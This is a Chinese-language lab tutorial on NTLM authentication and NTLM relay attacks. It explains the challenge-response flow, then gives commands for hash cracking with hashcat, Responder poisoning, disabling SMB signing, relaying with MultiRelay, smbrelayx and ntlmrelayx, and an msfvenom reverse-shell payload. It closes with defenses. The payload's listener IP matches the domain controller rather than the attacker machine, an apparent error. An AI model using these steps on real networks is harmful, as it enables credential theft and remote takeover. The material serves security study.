NTLM网络认证及NTLM-Relay攻击
字数 2015 2025-08-24 07:48:33

NTLM网络认证及NTLM-Relay攻击技术详解

一、Windows认证机制概述

Windows认证分为两种主要类型:

  1. 本地认证:开机登录时,lsass.exe进程将明文密码转换为hash与SAM文件比对
  2. 网络认证:访问局域网SMB共享等资源时进行的凭证验证过程

二、NTLM协议详解

NTLM协议认证分为三个关键步骤:

1. 协商阶段

  • 解决历史遗留问题,确定传输协议版本
  • 主要版本:NTLMv1与NTLMv2

2. 挑战阶段

  • 服务器生成随机Challenge
  • 使用NTLM Hash加密Challenge

3. 验证阶段

  • 对质询结果进行验证
  • 验证通过后允许访问资源

NTLMv1与NTLMv2区别

特性 NTLMv1 NTLMv2
Challenge长度 8位 16位
主要加密算法 DES HMAC-MD5
共同点 都使用NTLM Hash进行加密

三、挑战响应机制完整过程

工作组环境流程

  1. 客户端发送用户名到服务器
  2. 服务器检查本地用户列表:
    • 不存在:返回认证失败
    • 存在:生成16位随机Challenge
  3. 服务器使用对应用户NTLM Hash加密Challenge生成Challenge1
  4. 服务器将Challenge发送给客户端
  5. 客户端用用户NTLM Hash加密Challenge生成Response(NET-NTLM-Hash)
  6. 客户端将Response发送给服务器
  7. 服务器比对Response与Challenge1

域环境流程

  1. 服务器将用户名、Challenge、Response通过Netlogon协议发送给域控
  2. 域控在ntds.dit中查找对应用户NTLM Hash
  3. 域控用Challenge加密NTLM Hash
  4. 域控比对加密结果与NET-NTLM-Hash
  5. 域控返回验证结果给服务器
  6. 服务器根据结果响应客户端

四、Wireshark抓包分析

  1. 模拟客户端访问服务器共享
  2. 观察SMB协议中的Negotiate Protocol Response(协商过程)
  3. 服务器返回16位Challenge
  4. 客户端用NTLM Hash加密Challenge生成Response
  5. 构建Net-NTLMhash格式

Net-NTLMhash格式

username::domain:challenge:HMAC-MD5:blob

示例:

test::SENTIMENT:7f3085e50542ee4d:4d11723d0631436ee007f9bdb1ce3a45:01010000000000005da4077f4b10d901d3c521d6bddc4ce50000000002001200530045004e00540049004d0045004e00540001001000570049004e00300038002d005000430004001a00730065006e00740069006d0065006e0074002e0063006f006d0003002c00570069006e00300038002d00700063002e00730065006e00740069006d0065006e0074002e0063006f006d0005001a00730065006e00740069006d0065006e0074002e0063006f006d00070008005da4077f4b10d901060004000200000008003000300000000000000000000000002000003b6ad2d6ec858ee23b79e3ddde29d57c3479fca6042d38c984b242c2b44d1e7f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e00310037003100000000000000000000000000

五、Net-NTLMhash破解

使用hashcat进行爆破:

hashcat -m 5600 [Net-NTLMhash] password.txt -o result.txt --force

参数说明:

  • -m 5600:对应NetNTLMv2的hash类型
  • --force:强制执行(测试系统不支持Intel OpenCL时)

六、Responder工具使用

前置知识:Windows名称解析顺序

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)
  2. DNS缓存/DNS服务器
  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)

当1、2项未找到对应名称时,系统会通过LLMNR和NBT-NS在本地进行名称解析,广播询问网络中的机器。

获取Net-NTLMhash步骤

  1. 监听网卡:
    sudo responder -I eth1 -fv
    
  2. 诱使同网段主机访问不存在用户(如\\sfss
  3. Responder伪装成目标机器,获取Net-NTLMhash

七、NTLM-Relay攻击

攻击原理

将窃听到的客户端Net-NTLMhash重放到服务端,利用中间人身份获取权限。

攻击前提

  1. 被攻击机器不能开启SMB签名
    • 域内主机SMB签名默认关闭(域控默认开启)
  2. 需要高权限凭证

实验环境示例

虚拟机 IP
Kali 192.168.52.199
Win2012(域控) 192.168.52.163
Win2016(域管理员登录) 192.168.52.198
Win2008(受害机) 192.168.52.171

Responder攻击步骤

  1. 检查SMB签名状态:
    python RunFinger.py -i 192.168.52.0/24
    
  2. 关闭SMB签名(如需):
    reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
    
  3. 修改Responder配置(关闭SMB和HTTP的hash抓取)
  4. 开启Responder监听:
    responder -I eth1
    
  5. 启动MultiRelay:
    python3 MultiRelay.py -t 192.168.52.171 -u ALL
    
  6. 诱导高权限用户操作

Impacket工具攻击

  1. SMBRelay执行命令:
    python3 smbrelayx.py -h 192.168.52.171 -c whoami
    
  2. 诱导访问伪造服务(如http://192.168.52.199)
  3. 获取权限后执行命令

上线C2方法

  1. 生成木马:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.163 LPORT=4444 -f exe -o shell.exe
    
  2. 启动监听
  3. 使用smbrelayx.py执行木马:
    python3 smbrelayx.py -h 192.168.52.171 -e shell.exe
    
  4. 进程迁移:
    run post/windows/manage/migrate
    

ntlmrelayx.py使用

python3 ntlmrelayx.py -t smb://192.168.52.171 -c whoami

八、扩展攻击方法

  1. 通过共享触发:net use \\不存在主机
  2. 通过XSS注入:在目标index页面插入触发语句,管理员访问时触发重放攻击

九、防御措施

  1. 禁用LLMNR和NBT-NS
  2. 启用SMB签名
  3. 限制NTLM使用,优先使用Kerberos
  4. 监控异常认证请求
  5. 实施网络分段,限制广播域
NTLM网络认证及NTLM-Relay攻击技术详解 一、Windows认证机制概述 Windows认证分为两种主要类型: 本地认证 :开机登录时,lsass.exe进程将明文密码转换为hash与SAM文件比对 网络认证 :访问局域网SMB共享等资源时进行的凭证验证过程 二、NTLM协议详解 NTLM协议认证分为三个关键步骤: 1. 协商阶段 解决历史遗留问题,确定传输协议版本 主要版本:NTLMv1与NTLMv2 2. 挑战阶段 服务器生成随机Challenge 使用NTLM Hash加密Challenge 3. 验证阶段 对质询结果进行验证 验证通过后允许访问资源 NTLMv1与NTLMv2区别 | 特性 | NTLMv1 | NTLMv2 | |------|--------|--------| | Challenge长度 | 8位 | 16位 | | 主要加密算法 | DES | HMAC-MD5 | | 共同点 | 都使用NTLM Hash进行加密 | 三、挑战响应机制完整过程 工作组环境流程 客户端发送用户名到服务器 服务器检查本地用户列表: 不存在:返回认证失败 存在:生成16位随机Challenge 服务器使用对应用户NTLM Hash加密Challenge生成Challenge1 服务器将Challenge发送给客户端 客户端用用户NTLM Hash加密Challenge生成Response(NET-NTLM-Hash) 客户端将Response发送给服务器 服务器比对Response与Challenge1 域环境流程 服务器将用户名、Challenge、Response通过Netlogon协议发送给域控 域控在ntds.dit中查找对应用户NTLM Hash 域控用Challenge加密NTLM Hash 域控比对加密结果与NET-NTLM-Hash 域控返回验证结果给服务器 服务器根据结果响应客户端 四、Wireshark抓包分析 模拟客户端访问服务器共享 观察SMB协议中的Negotiate Protocol Response(协商过程) 服务器返回16位Challenge 客户端用NTLM Hash加密Challenge生成Response 构建Net-NTLMhash格式 Net-NTLMhash格式 示例: 五、Net-NTLMhash破解 使用hashcat进行爆破: 参数说明: -m 5600 :对应NetNTLMv2的hash类型 --force :强制执行(测试系统不支持Intel OpenCL时) 六、Responder工具使用 前置知识:Windows名称解析顺序 本地hosts文件(%windir%\System32\drivers\etc\hosts) DNS缓存/DNS服务器 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 当1、2项未找到对应名称时,系统会通过LLMNR和NBT-NS在本地进行名称解析,广播询问网络中的机器。 获取Net-NTLMhash步骤 监听网卡: 诱使同网段主机访问不存在用户(如 \\sfss ) Responder伪装成目标机器,获取Net-NTLMhash 七、NTLM-Relay攻击 攻击原理 将窃听到的客户端Net-NTLMhash重放到服务端,利用中间人身份获取权限。 攻击前提 被攻击机器不能开启SMB签名 域内主机SMB签名默认关闭(域控默认开启) 需要高权限凭证 实验环境示例 | 虚拟机 | IP | |--------|----| | Kali | 192.168.52.199 | | Win2012(域控) | 192.168.52.163 | | Win2016(域管理员登录) | 192.168.52.198 | | Win2008(受害机) | 192.168.52.171 | Responder攻击步骤 检查SMB签名状态: 关闭SMB签名(如需): 修改Responder配置(关闭SMB和HTTP的hash抓取) 开启Responder监听: 启动MultiRelay: 诱导高权限用户操作 Impacket工具攻击 SMBRelay执行命令: 诱导访问伪造服务(如http://192.168.52.199) 获取权限后执行命令 上线C2方法 生成木马: 启动监听 使用smbrelayx.py执行木马: 进程迁移: ntlmrelayx.py使用 八、扩展攻击方法 通过共享触发: net use \\不存在主机 通过XSS注入:在目标index页面插入触发语句,管理员访问时触发重放攻击 九、防御措施 禁用LLMNR和NBT-NS 启用SMB签名 限制NTLM使用,优先使用Kerberos 监控异常认证请求 实施网络分段,限制广播域